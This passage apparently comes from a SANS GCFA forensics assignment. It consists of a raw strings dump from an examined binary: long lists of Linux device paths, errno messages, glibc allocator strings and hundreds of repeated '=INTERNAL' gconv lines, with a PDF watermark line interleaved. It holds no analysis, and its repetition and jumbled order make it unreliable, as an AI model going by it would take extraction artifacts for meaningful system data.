<td>/dev/sdcs2</td>
</tr>
<tr>
<td>/dev/sdcs15</td>
<td>/dev/sdcs14</td>
<td>/dev/sdcs13</td>
</tr>
<tr>
<td>/dev/sdcs12</td>
<td>/dev/sdcs11</td>
<td>/dev/sdcs10</td>
</tr>
<tr>
<td>/dev/sdcs1</td>
<td>/dev/sdcs</td>
<td>/dev/sdcr9</td>
</tr>
<tr>
<td>/dev/sdcr8</td>
<td>/dev/sdcr7</td>
<td>/dev/sdcr6</td>
</tr>
<tr>
<td>/dev/sdcr5</td>
<td>/dev/sdcr4</td>
<td>/dev/sdcr3</td>
</tr>
<tr>
<td>/dev/sdcr2</td>
<td>/dev/sdcr15</td>
<td>/dev/sdcr14</td>
</tr>
<tr>
<td>/dev/sdcr13</td>
<td>/dev/sdcr12</td>
<td>/dev/sdcr11</td>
</tr>
<tr>
<td>/dev/sdcr10</td>
<td>/dev/sdcr1</td>
<td>/dev/sdcr</td>
</tr>
<tr>
<td>/dev/sdcr9</td>
<td>/dev/sdcr8</td>
<td>/dev/sdcr7</td>
</tr>
<tr>
<td>/dev/sdcr6</td>
<td>/dev/sdcr5</td>
<td>/dev/sdcr4</td>
</tr>
<tr>
<td>/dev/sdcr3</td>
<td>/dev/sdcr2</td>
<td>/dev/sdcr15</td>
</tr>
<tr>
<td>/dev/sdcr14</td>
<td>/dev/sdcr13</td>
<td>/dev/sdcr12</td>
</tr>
<tr>
<td>/dev/sdcr11</td>
<td>/dev/sdcr10</td>
<td>/dev/sdcr9</td>
</tr>
<tr>
<td>/dev/sdcr8</td>
<td>/dev/sdcr7</td>
<td>/dev/sdcr6</td>
</tr>
<tr>
<td>/dev/sdcr5</td>
<td>/dev/sdcr4</td>
<td>/dev/sdcr3</td>
</tr>
<tr>
<td>/dev/sdcr2</td>
<td>/dev/sdcr15</td>
<td>/dev/sdcr14</td>
</tr>
<tr>
<td>/dev/sdcr13</td>
<td>/dev/sdcr12</td>
<td>/dev/sdcr11</td>
</tr>
<tr>
<td>/dev/sdcr10</td>
<td>/dev/sdcr1</td>
<td>/dev/sdcr</td>
</tr>
<tr>
<td>/dev/sdcr9</td>
<td>/dev/sdcr8</td>
<td>/dev/sdcr7</td>
</tr>
<tr>
<td>/dev/sdcr6</td>
<td>/dev/sdcr5</td>
<td>/dev/sdcr4</td>
</tr>
<tr>
<td>/dev/sdcr3</td>
<td>/dev/sdcr2</td>
<td>/dev/sdcr15</td>
</tr>
<tr>
<td>/dev/sdcr14</td>
<td>/dev/sdcr13</td>
<td>/dev/sdcr12</td>
</tr>
<tr>
<td>/dev/sdcr11</td>
<td>/dev/sdcr10</td>
<td>/dev/sdcr9</td>
</tr>
<tr>
<td>/dev/sdcr8</td>
<td>/dev/sdcr7</td>
<td>/dev/sdcr6</td>
</tr>
<tr>
<td>/dev/sdcr5</td>
<td>/dev/sdcr4</td>
<td>/dev/sdcr3</td>
</tr>
<tr>
<td>/dev/sdcr2</td>
<td>/dev/sdcr15</td>
<td>/dev/sdcr14</td>
</tr>
<tr>
<td>/dev/sdcr13</td>
<td>/dev/sdcr12</td>
<td>/dev/sdcr11</td>
</tr>
<tr>
<td>/dev/sdcr10</td>
<td>/dev/sdcr1</td>
<td>/dev/sdcr</td>
</tr>
<tr>
<td>/dev/sdcr9</td>
<td>/dev/sdcr8</td>
<td>/dev/sdcr7</td>
</tr>
<tr>
<td>/dev/sdcr6</td>
<td>/dev/sdcr5</td>
<td>/dev/sdcr4</td>
</tr>
<tr>
<td>/dev/sdcr3</td>
<td>/dev/sdcr2</td>
<td>/dev/sdcr15</td>
</tr>
<tr>
<td>/dev/sdcr14</td>
<td>/dev/sdcr13</td>
<td>/dev/sdcr12</td>
</tr>
<tr>
<td>/dev/sdcr11</td>
<td>/dev/sdcr10</td>
<td>/dev/sdcr9</td>
</tr>
<tr>
<td>/dev/sdcr8</td>
<td>/dev/sdcr7</td>
<td>/dev/sdcr6</td>
</tr>
<tr>
<td>/dev/sdcr5</td>
<td>/dev/sdcr4</td>
<td>/dev/sdcr3</td>
</tr>
<tr>
<td>/dev/sdcr2</td>
<td>/dev/sdcr15</td>
<td>/dev/sdcr14</td>
</tr>
<tr>
<td>/dev/sdcr13</td>
<td>/dev/sdcr12</td>
<td>/dev/sdcr11</td>
</tr>
</tbody>
</table>
/dev/sdby15 /dev/sdby14 /dev/sdby13
/dev/sdby12 /dev/sdby11 /dev/sdby10
/dev/sdby1 /dev/sdby /dev/sdbx9
/dev/sdbx8 /dev/sdbx7 /dev/sdbx6
/dev/sdbx5 /dev/sdbx4 /dev/sdbx3
/dev/sdbx2 /dev/sdbx15 /dev/sdbx14
/dev/sdbx13 /dev/sdbx12 /dev/sdbx11
/dev/sdbx10 /dev/sdbx1 /dev/sdbx
/dev/sdbw9 /dev/sdbw8 /dev/sdbw7
/dev/sdbw6 /dev/sdbw5 /dev/sdbw4
/dev/sdbw3 /dev/sdbw2 /dev/sdbw15
/dev/sdbw14 /dev/sdbw13 /dev/sdbw12
/dev/sdbw11 /dev/sdbw10 /dev/sdbw1
/dev/sdbw /dev/sdbw9 /dev/sdbw8
/dev/sdbw7 /dev/sdbw6 /dev/sdbw5
/dev/sdbw4 /dev/sdbw3 /dev/sdbw2
/dev/sdbv15 /dev/sdbv14 /dev/sdbv13
/dev/sdbv12 /dev/sdbv11 /dev/sdbv10
/dev/sdbv1 /dev/sdbv /dev/sdbu9
/dev/sdbu8 /dev/sdbu7 /dev/sdbu6
/dev/sdbu5 /dev/sdbu4 /dev/sdbu3
/dev/sdbu2 /dev/sdbu15 /dev/sdbu14
/dev/sdbu13 /dev/sdbu12 /dev/sdbu11
/dev/sdbu10 /dev/sdbu1 /dev/sdbu
/dev/sdbt9 /dev/sdbt8 /dev/sdbt7
/dev/sdbt6 /dev/sdbt5 /dev/sdbt4
/dev/sdbt3 /dev/sdbt2 /dev/sdbt15
/dev/sdbt14 /dev/sdbt13 /dev/sdbt12
/dev/sdbt11 /dev/sdbt10 /dev/sdbt1
/dev/sds7 /dev/sds6 /dev/sds5
/dev/sds4 /dev/sds3 /dev/sds2
/dev/sds15 /dev/sds14 /dev/sds13
/dev/sds12 /dev/sds11 /dev/sds10
/dev/sds1 /dev/sds /dev/sdr9
/dev/sdr8 /dev/sdr7 /dev/sdr6
/dev/sdr5 /dev/sdr4 /dev/sdr3
/dev/sdr2 /dev/sdr15 /dev/sdr14
/dev/sdr13 /dev/sdr12 /dev/sdr11
/dev/sdr10 /dev/sdr1 /dev/sdr
/dev/sdq9 /dev/sdq8 /dev/sdq7
/dev/sdq6 /dev/sdq5 /dev/sdq4
/dev/sdq3 /dev/sdq2 /dev/sdq15
/dev/sdq14 /dev/sdq13 /dev/sdq12
/dev/sdq11 /dev/sdq10 /dev/sdq1
/dev/sdbq /dev/sdbp9 /dev/sdbp8
/dev/sdbp7 /dev/sdbp6 /dev/sdbp5
/dev/sdbp4 /dev/sdbp3 /dev/sdbp2
/dev/sdbp15 /dev/sdbp14 /dev/sdbp13
/dev/sdbp12 /dev/sdbp11 /dev/sdbp10
/dev/sdbp1 /dev/sdbp /dev/sdbo9
/dev/sdbo8 /dev/sdbo7 /dev/sdbo6
/dev/sdbo5 /dev/sdbo4 /dev/sdbo3
/dev/sdbo2 /dev/sdbo15 /dev/sdbo14
/dev/sdbo13 /dev/sdbo12 /dev/sdbo11
/dev/sdbo10 /dev/sdbo1 /dev/sdbo
/dev/sdbn9 /dev/sdbn8 /dev/sdbn7
/dev/sdbd1 /dev/sdbd /dev/sdbd9
/dev/sdbc8 /dev/sdbc7 /dev/sdbc6
/dev/sdbc5 /dev/sdbc4 /dev/sdbc3
/dev/sdbc2 /dev/sdbc15 /dev/sdbc14
/dev/sdbc13 /dev/sdbc12 /dev/sdbc11
/dev/sdbc10 /dev/sdbc1 /dev/sdbc
/dev/sdbb9 /dev/sdbb8 /dev/sdbb7
/dev/sdbb6 /dev/sdbb5 /dev/sdbb4
/dev/sdbb3 /dev/sdbb2 /dev/sdbb15
/dev/sdbb14 /dev/sdbb13 /dev/sdbb12
/dev/sdbb11 /dev/sdbb10 /dev/sdbb1
/dev/sdbb /dev/sdbb9 /dev/sdbb8
/dev/sdb7 /dev/sdb6
/dev/sdb5 /dev/sdb4 /dev/sdb3
/dev/sdb2 /dev/sdb15 /dev/sdb14
/dev/sdb13 /dev/sdb12 /dev/sdb11
/dev/sdb10 /dev/sdb1 /dev/sdb
/dev/sdaz9 /dev/sdaz8 /dev/sdaz7
/dev/sdaz6 /dev/sdaz5 /dev/sdaz4
/dev/sdaz3 /dev/sdaz2 /dev/sdaz1
/dev/sdaz14 /dev/sdaz13 /dev/sdaz12
/dev/sdaz11 /dev/sdaz10 /dev/sdaz1
/dev/sdaz /dev/sday9 /dev/sday8
/dev/sday7 /dev/sday6 /dev/sday5
/dev/sday4 /dev/sday3 /dev/sday2
/dev/sday15 /dev/sday14 /dev/sday13
/dev/sday12 /dev/sday11 /dev/sday10
/dev/sday1 /dev/sday /dev/sday9
/dev/sdax8 /dev/sdax7 /dev/sdax6
/dev/sdax5 /dev/sdax4 /dev/sdax3
/dev/sdax2 /dev/sdax15 /dev/sdax14
/dev/sdax13 /dev/sdax12 /dev/sdax11
/dev/sdax10 /dev/sdax1 /dev/sdax
/dev/sdaw9 /dev/sdaw8 /dev/sdaw7
/dev/sdaw6 /dev/sdaw5 /dev/sdaw4
/dev/sdaw3 /dev/sdaw2 /dev/sdaw15
/dev/sdaw14 /dev/sdaw13 /dev/sdaw12
/dev/sdaw11 /dev/sdaw10 /dev/sdaw1
/dev/sdaw /dev/sdav9 /dev/sdav8
/dev/sdav7 /dev/sdav6 /dev/sdav5
/dev/sdav4 /dev/sdav3 /dev/sdav2
/dev/sdav15 /dev/sdav14 /dev/sdav13
/dev/sdav12 /dev/sdav11 /dev/sdav10
/dev/sdav1 /dev/sdav /dev/sdav9
/dev/sdau8 /dev/sdau7 /dev/sdau6
/dev/sdau5 /dev/sdau4 /dev/sdau3
/dev/sdau2 /dev/sdau15 /dev/sdau14
/dev/sdau13 /dev/sdau12 /dev/sdau11
/dev/sdau10 /dev/sdau9 /dev/sdau8
/dev/sdat9 /dev/sdat8 /dev/sdat7
/dev/sdat6 /dev/sdat5 /dev/sdat4
/dev/sdat3 /dev/sdat2 /dev/sdat15
/dev/sdat14 /dev/sdat13 /dev/sdat12
/dev/sdat11 /dev/sdat10 /dev/sdat1
/dev/sdat /dev/sdas9 /dev/sdas8
/dev/sdas7 /dev/sdas6 /dev/sdas5
/dev/sdas4 /dev/sdas3 /dev/sdas2
/dev/sdas15 /dev/sdas14 /dev/sdas13
/dev/sdas12 /dev/sdas11 /dev/sdas10
/dev/sdas1 /dev/sdas /dev/sdar9
/dev/sdar8 /dev/sdar7 /dev/sdar6
/dev/sdar5 /dev/sdar4 /dev/sdar3
/dev/sdar2 /dev/sdar15 /dev/sdar14
/dev/sdar13 /dev/sdar12 /dev/sdar11
/dev/sdar10 /dev/sdar1 /dev/sdar
/dev/sdaq9 /dev/sdaq8 /dev/sdaq7
/dev/sdaq6 /dev/sdaq5 /dev/sdaq4
/dev/sdaq3 /dev/sdaq2 /dev/sdaq1
/dev/sdaq14 /dev/sdaq13 /dev/sdaq12
/dev/sdaq11 /dev/sdaq10 /dev/sdaq1
/dev/sdaq /dev/sdap9 /dev/sdap8
/dev/sdap7 /dev/sdap6 /dev/sdap5
/dev/sdap4 /dev/sdap3 /dev/sdap2
/dev/sdap15 /dev/sdap14 /dev/sdap13
/dev/sdap12 /dev/sdap11 /dev/sdap10
/dev/sdap1 /dev/sdap /dev/sdao9
/dev/sdao8 /dev/sdao7 /dev/sdao6
/dev/sdao5 /dev/sdao4 /dev/sdao3
/dev/sdao2 /dev/sdao15 /dev/sdao14
/dev/sdao13 /dev/sdao12 /dev/sdao11
/dev/sdao10 /dev/sdao1 /dev/sdao
/dev/sdan9 /dev/sdan8 /dev/sdan7
/dev/sdan6 /dev/sdan5 /dev/sdan4
/dev/sdan3 /dev/sdan2 /dev/sdan15
/dev/sdan14 /dev/sdan13 /dev/sdan12
/dev/sdan11 /dev/sdan10 /dev/sdan1
/dev/sdan /dev/sdam9 /dev/sdam8
/dev/sdam7 /dev/sdam6 /dev/sdam5
/dev/sdam4 /dev/sdam3 /dev/sdam2
/dev/sdam15 /dev/sdam14 /dev/sdam13
/dev/sdam12 /dev/sdam11 /dev/sdam10
/dev/sdam1 /dev/sdam /dev/sdal9
/dev/sdal8 /dev/sdal7 /dev/sdal6
/dev/sdal5 /dev/sdal4 /dev/sdal3
/dev/sdal2 /dev/sdal15 /dev/sdal14
/dev/sdal13 /dev/sdal12 /dev/sdal11
/dev/sdal10 /dev/sdal1 /dev/sdal
/dev/sdak9 /dev/sdak8 /dev/sdak7
/dev/sdak6 /dev/sdak5 /dev/sdak4
/dev/sdak3 /dev/sdak2 /dev/sdak1
/dev/sdak14 /dev/sdak13 /dev/sdak12
/dev/sdak11 /dev/sdak10 /dev/sdak1
/dev/sdak /dev/sdaj9 /dev/sdaj8
/dev/sdaj7 /dev/sdaj6 /dev/sdaj5
/dev/sdaj4 /dev/sdaj3 /dev/sdaj2
/dev/sdaj15 /dev/sdaj14 /dev/sdaj13
/dev/sdaj12 /dev/sdaj11 /dev/sdaj10
/dev/sdaj1 /dev/sdaj /dev/sdal9
/dev/sdai8 /dev/sdai7 /dev/sdai6
/dev/sda15  /dev/sda14  /dev/sda13
/dev/sda12  /dev/sda11  /dev/sda10
/dev/sda9   /dev/sda8   /dev/sda7
/dev/sda6   /dev/sda5   /dev/sda4
/dev/sda3   /dev/sda2   /dev/sda1
/dev/sdb14  /dev/sdb13  /dev/sdb12
/dev/sdb11  /dev/sdb10  /dev/sdb9
/dev/sdb8   /dev/sdb7   /dev/sdb6
/dev/sdb5   /dev/sdb4   /dev/sdb3
/dev/sdb2   /dev/sdb1   /dev/sdb
/dev/sdc15  /dev/sdc14  /dev/sdc13
/dev/sdc12  /dev/sdc11  /dev/sdc10
/dev/sdc9   /dev/sdc8   /dev/sdc7
/dev/sdc6   /dev/sdc5   /dev/sdc4
/dev/sdc3   /dev/sdc2   /dev/sdc1
/dev/sdce1  /dev/sdce0  /dev/sbpcd9
/dev/sbpcd8 /dev/sbpcd7 /dev/sbpcd6
/dev/sbpcd5 /dev/sbpcd4 /dev/sbpcd3
/dev/sbpcd2 /dev/sbpcd15 /dev/sbpcd14
/dev/sbpcd13 /dev/sbpcd12 /dev/sbpcd11
/dev/sbpcd10 /dev/sbpcd1 /dev/sbpcd0
/dev/ram9 /dev/ram8 /dev/ram7
/dev/ram6 /dev/ram5 /dev/ram4
/dev/ram3 /dev/ram2 /dev/ram19
/dev/ram18 /dev/ram17 /dev/ram16
/dev/ram15 /dev/ram14 /dev/ram13
/dev/ram12 /dev/ram11 /dev/ram10
/dev/ram1 /dev/ram0 /dev/pf3
/dev/pf2 /dev/pf1 /dev/pf0
/dev/pdd9 /dev/pdd8 /dev/pdd7
/dev/pdd6 /dev/pdd5 /dev/pdd4
/dev/pdd3 /dev/pdd2 /dev/pdd15
/dev/pdd14 /dev/pdd13 /dev/pdd12
/dev/pdd11 /dev/pdd10 /dev/pdd1
/dev/pdd /dev/pdc9 /dev/pdc8
/dev/pdc7 /dev/pdc6 /dev/pdc5
/dev/pdc4 /dev/pdc3 /dev/pdc2
/dev/pdc15 /dev/pdc14 /dev/pdc13
/dev/pdc12 /dev/pdc11 /dev/pdc10
/dev/pdc1 /dev/pdc /dev/pdb9
/dev/pdb8 /dev/pdb7 /dev/pdb6
/dev/pdb5 /dev/pdb4 /dev/pdb3
/dev/pdb2 /dev/pdb15 /dev/pdb14
/dev/pdb13 /dev/pdb12 /dev/pdb11
/dev/pdb10 /dev/pdb1 /dev/pdb
/dev/pda9 /dev/pda8 /dev/pda7
/dev/pda6 /dev/pda5 /dev/pda4
/dev/pda3 /dev/pda2 /dev/pda15
/dev/pda14 /dev/pda13 /dev/pda12
/dev/pda11 /dev/pda10 /dev/pda1
/dev/pda /dev/pdc3 /dev/pdc2
/dev/pcd1 /dev/pcd0 /dev/optcd
/dev/nb9 /dev/nb8 /dev/nb7
/dev/nb6 /dev/nb5 /dev/nb4
/dev/nb31 /dev/nb30 /dev/nb3
/dev/nb29 /dev/nb28 /dev/nb27
/dev/nb26 /dev/nb25 /dev/nb24
/dev/nb23 /dev/nb22 /dev/nb21
/dev/nb20 /dev/nb2 /dev/nb19
/dev/nb18 /dev/nb17 /dev/nb16
/dev/nb15 /dev/nb14 /dev/nb13
/dev/nb12 /dev/nb11 /dev/nb10
/dev/nb1 /dev/nb0 /dev/md31
/dev/md30 /dev/md29 /dev/md28
/dev/md27 /dev/md26 /dev/md25
/dev/md24 /dev/md23 /dev/md22
/dev/md21 /dev/md20 /dev/md19
/dev/md18 /dev/md17 /dev/md16
/dev/mdcx /dev/mcd /dev/loop9
/dev/loop8 /dev/loop7 /dev/loop6
/dev/loop5 /dev/loop4 /dev/loop3
/dev/loop2 /dev/loop15 /dev/loop14
/dev/loop13 /dev/loop12 /dev/loop11
/dev/loop10 /dev/loop1 /dev/loop0
/dev/jsfd /dev/initrd /dev/hitcd
/dev/hdt9 /dev/hdt8 /dev/hdt7
/dev/hdt6 /dev/hdt5 /dev/hdt4
/dev/hdt32 /dev/hdt31 /dev/hdt30
/dev/hdt3 /dev/hdt29 /dev/hdt28
/dev/hdt27 /dev/hdt26 /dev/hdt25
/dev/hdt24 /dev/hdt23 /dev/hdt22
/dev/hdt21 /dev/hdt20 /dev/hdt2
/dev/hdt19 /dev/hdt18 /dev/hdt17
/dev/hdt16 /dev/hdt15 /dev/hdt14
/dev/hdt13 /dev/hdt12 /dev/hdt11
/dev/hdt10 /dev/hdt9 /dev/hdt
/dev/hds9 /dev/hds8 /dev/hds7
/dev/hds6 /dev/hds5 /dev/hds4
/dev/hds32 /dev/hds31 /dev/hds30
/dev/hds3 /dev/hds29 /dev/hds28
/dev/hds27 /dev/hds26 /dev/hds25
/dev/hds24 /dev/hds23 /dev/hds22
/dev/hds21 /dev/hds20 /dev/hds2
/dev/hds19 /dev/hds18 /dev/hds17
/dev/hds16 /dev/hds15 /dev/hds14
/dev/hds13 /dev/hds12 /dev/hds11
/dev/hds10 /dev/hds9 /dev/hds
/dev/hdr9 /dev/hdr8 /dev/hdr7
/dev/hdr6 /dev/hdr5 /dev/hdr4
/dev/hdr32 /dev/hdr31 /dev/hdr30
/dev/hdr3 /dev/hdr29 /dev/hdr28
/dev/hdr27 /dev/hdr26 /dev/hdr25
/dev/hdr24 /dev/hdr23 /dev/hdr22
/dev/hdr21 /dev/hdr20 /dev/hdr2
/dev/hdr19 /dev/hdr18 /dev/hdr17
/dev/hdr16 /dev/hdr15 /dev/hdr14
/dev/hdr13 /dev/hdr12 /dev/hdr11
/dev/hdr10 /dev/hdr9 /dev/hdr
/dev/hdq9 /dev/hdq8 /dev/hdq7
/dev/hdq6 /dev/hdq5 /dev/hdq4
/dev/hdq32 /dev/hdq31 /dev/hdq30
/dev/hdq3 /dev/hdq29 /dev/hdq28
/dev/hdq27 /dev/hdq26 /dev/hdq25
/dev/hdq24 /dev/hdq23 /dev/hdq22
/dev/hdq21 /dev/hdq20 /dev/hdq2
/dev/hdq19 /dev/hdq18 /dev/hdq17
/dev/hdq16 /dev/hdq15 /dev/hdq14
/dev/hdq13 /dev/hdq12 /dev/hdq11
/dev/hdq10 /dev/hdq9 /dev/hdq
/dev/hdp9 /dev/hdp8 /dev/hdp7
/dev/hdp6 /dev/hdp5 /dev/hdp4
/dev/hdp32 /dev/hdp31 /dev/hdp30
/dev/hdp3 /dev/hdp29 /dev/hdp28
/dev/hdp27 /dev/hdp26 /dev/hdp25
/dev/hdp24 /dev/hdp23 /dev/hdp22
/dev/hdp21 /dev/hdp20 /dev/hdp2
/dev/hdp19 /dev/hdp18 /dev/hdp17
/dev/hdp16 /dev/hdp15 /dev/hdp14
/dev/hdp13 /dev/hdp12 /dev/hdp11
/dev/hdp10 /dev/hdp9 /dev/hdp
/dev/hdo9 /dev/hdo8 /dev/hdo7
/dev/hdo6 /dev/hdo5 /dev/hdo4
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

Kevin Miller - Sans GCFA Assignment – v1.4

/dev/fd2d360 /dev/fd2H720 /dev/fd2H360
/dev/fd2H440 /dev/fd2D720 /dev/fd2D360
/dev/fd2CompaQ /dev/fd2 /dev/fd2
/dev/fd1u820 /dev/fd1u800 /dev/fd1u720
/dev/fd1u3840 /dev/fd1u360 /dev/fd1u3520
/dev/fd1u3200 /dev/fd1u2880 /dev/fd1u1920
/dev/fd1u1840 /dev/fd1u1760 /dev/fd1u1743
/dev/fd1u1722 /dev/fd1u1680 /dev/fd1u1660
/dev/fd1u1440 /dev/fd1u1200 /dev/fd1u1040
/dev/fd1h880 /dev/fd1h720 /dev/fd1h420
/dev/fd1h410 /dev/fd1h360 /dev/fd1h1440
/dev/fd1h1494 /dev/fd1h1476 /dev/fd1h1440
/dev/fd1h1200 /dev/fd1h360 /dev/fd1H720
/dev/fd1H360 /dev/fd1H1440 /dev/fd1D720
/dev/fd1D360 /dev/fd1CompaQ /dev/fd1
/dev/fd0u830 /dev/fd0u820 /dev/fd0u800
/dev/fd0u720 /dev/fd0u3840 /dev/fd0u360
/dev/fd0u3520 /dev/fd0u3200 /dev/fd0u2880
/dev/fd0u1920 /dev/fd0u1840 /dev/fd0u1760
/dev/fd0u1743 /dev/fd0u1722 /dev/fd0u1680
/dev/fd0u1660 /dev/fd0u1440 /dev/fd0u1120
/dev/fd0u1040 /dev/fd0h880 /dev/fd0h720
/dev/fd0h420 /dev/fd0h410 /dev/fd0h360
/dev/fd0h1660 /dev/fd0h1494 /dev/fd0h1476
/dev/fd0h1440 /dev/fd0d360 /dev/fd0H720
/dev/fd0D360 /dev/fd0H1440 /dev/fd0
/dev/fd0CompaQ /dev/cm206cd /dev/cm205cd
/dev/cdu535 /dev/cdu31a /dev/bpcd
/dev/aztcdd /dev/md15 /dev/md14
/dev/md9 /dev/md12 /dev/md11
/dev/md6 /dev/md8 /dev/md7
/dev/md3 /dev/md5 /dev/md4
/dev/md0 /dev/md10 /dev/null

Wrong medium type
Remote I/O error
Not a XENIX named type file
Operation now in progress
Host is down
No buffer space available
Network is down
Operation not supported
Protocol not available
Too many users
File descriptor in bad state
RFS specific error
Communication error on send
Link has been severed
Machine is not on the network
No data available
Invalid slot
Exchange full
Level 2 halted
No medium found
Disk quota exceeded
Is a named type file
Structure needs cleaning
Operation already in progress
Connection refused
Connection reset by peer
Address already in use
Socket type not supported
Message too long
Streams pipe error
Name not unique on network
Multihop attempted
Srmount error
Object is remote
Out of streams resources
Device not a stream
Invalid request code
Invalid request descriptor
No CSI structure available
Protocol error
Advertise error
Package not installed
Timer expired
Bad font file format
No anode
Invalid exchange
Protocol driver not attached
Link number out of range
Level 3 reset
Channel number out of range
Identifier removed
No message of desired type
Directory not empty
Function not implemented
No locks available
File name too long
Resource deadlock avoided
Numerical result out of range
Broken pipe
Too many links
Read-only file system
Illegal seek
No space left on device
File too large
Text file busy
Too many open files
Invalid argument
Too many open files in system
No such device
Is a directory
Not a directory
Device or resource busy
Invalid cross-device link
File exists
Permission denied
Block device required
Bad address
Bad file descriptor
Cannot allocate memory
No child processes
No such device or address
Input/output error
Argument list too long
No such process
Too many references: cannot splice
Interrupted system call
Success
Transport endpoint is already connected
Operation not permitted
Transport endpoint is not connected
Too many references: cannot splice
Cannot send after transport endpoint shutdown
Network dropped connection
Transport endpoint is already connected
Software caused connection abort
Protocol wrong type for socket
No such device or directory
Interrupted system call
Invalid or incomplete multibyte or wide character
Too many levels of symbolic links
Attempting to link in too many shared libraries
Value too large for defined data type
Resource temporarily unavailable
Can not access a needed shared library
Inappropriate ioctl for device
MMAP_MAX_
Numerical argument out of domain
MALLOC_CHECK_
, ccs =
TRIM_THRESHOLD_
mmap bytes = %10u
in use bytes = %10u
max mmap regions = %10u
max mmap bytes = %10lu
malloc: top chunk is corrupt
free(): invalid pointer %p!
realloc(): invalid pointer %p!
Unknown error
ANSI_X3.4-1968//TRANSLIT
out of memory [
[%d]
[/dev/console
/apic
/mtrr
/apic
/cflush
/sse2
/i386
/i686
/LD_AOUT_PRELOAD
/LD_AOUT_LIBRARY_PATH
/LD_DYNAMIC_WEAK
/proc/sys/kern-osrelease
FATAL: kernel too old
FATAL: cannot determine
library version
gconv-modules =INTERNAL->ucs2reverse =ucs2reverse->INTERNAL
=INTERNAL->ascii =ascii->INTERNAL
=ascii->INTERNAL
=INTERNAL->utf8 =utf8->INTERNAL
=INTERNAL->utf8
=ascii->INTERNAL
=ucs4-LE// =INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
